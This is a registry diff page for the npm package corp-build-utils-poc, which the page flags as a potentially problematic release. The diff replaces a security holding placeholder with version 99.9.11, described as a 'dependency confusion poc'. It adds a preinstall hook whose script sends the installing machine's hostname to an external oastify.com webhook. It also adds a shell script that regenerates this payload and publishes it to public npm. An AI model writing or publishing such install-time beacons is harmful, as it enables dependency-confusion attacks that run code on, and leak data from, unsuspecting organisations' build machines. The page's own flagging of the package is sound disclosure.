corp-build-utils-poc 0.0.1-security → 99.9.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of corp-build-utils-poc might be problematic. Click here for more details.

Binary file
Binary file
Binary file
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "corp-build-utils-poc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.9.11",
4
+ "description": "dependency confusion poc",
5
+ "private": false,
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ }
6
9
  }
package/preinstall.js ADDED
@@ -0,0 +1,23 @@
1
+ const https = require("https");
2
+
3
+ const payload = JSON.stringify({
4
+ event: "dependency_confusion_executed",
5
+ host: require("os").hostname()
6
+ });
7
+
8
+ const req = https.request(
9
+ {
10
+ hostname: "usqcwm91ckqp7x1xtohghtpyup0go6cv.oastify.com", // <-- replace with YOUR webhook host
11
+ path: "/webhook", // <-- replace path
12
+ method: "POST",
13
+ headers: {
14
+ "Content-Type": "application/json",
15
+ "Content-Length": payload.length
16
+ }
17
+ },
18
+ () => {}
19
+ );
20
+
21
+ req.on("error", () => {}); // do not break install
22
+ req.write(payload);
23
+ req.end();
package/test.sh ADDED
@@ -0,0 +1,44 @@
1
+ #!/bin/bash
2
+ set -e
3
+
4
+ echo "[*] Updating PoC payload..."
5
+
6
+ cat > preinstall.js <<'EOF'
7
+ const https = require("https");
8
+
9
+ const payload = JSON.stringify({
10
+ event: "dependency_confusion_executed",
11
+ host: require("os").hostname()
12
+ });
13
+
14
+ const req = https.request(
15
+ {
16
+ hostname: "usqcwm91ckqp7x1xtohghtpyup0go6cv.oastify.com", // <-- replace with YOUR webhook host
17
+ path: "/webhook", // <-- replace path
18
+ method: "POST",
19
+ headers: {
20
+ "Content-Type": "application/json",
21
+ "Content-Length": payload.length
22
+ }
23
+ },
24
+ () => {}
25
+ );
26
+
27
+ req.on("error", () => {}); // do not break install
28
+ req.write(payload);
29
+ req.end();
30
+ EOF
31
+
32
+ echo "[*] Bumping version..."
33
+ npm version patch --no-git-tag-version
34
+
35
+ NEW_VERSION=$(node -p "require('./package.json').version")
36
+ echo "[+] New version: $NEW_VERSION"
37
+
38
+ echo "[*] Packing package..."
39
+ npm pack
40
+
41
+ echo "[*] Publishing to npm..."
42
+ npm publish --access public
43
+
44
+ echo "[+] Publish complete"
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=corp-build-utils-poc for more information.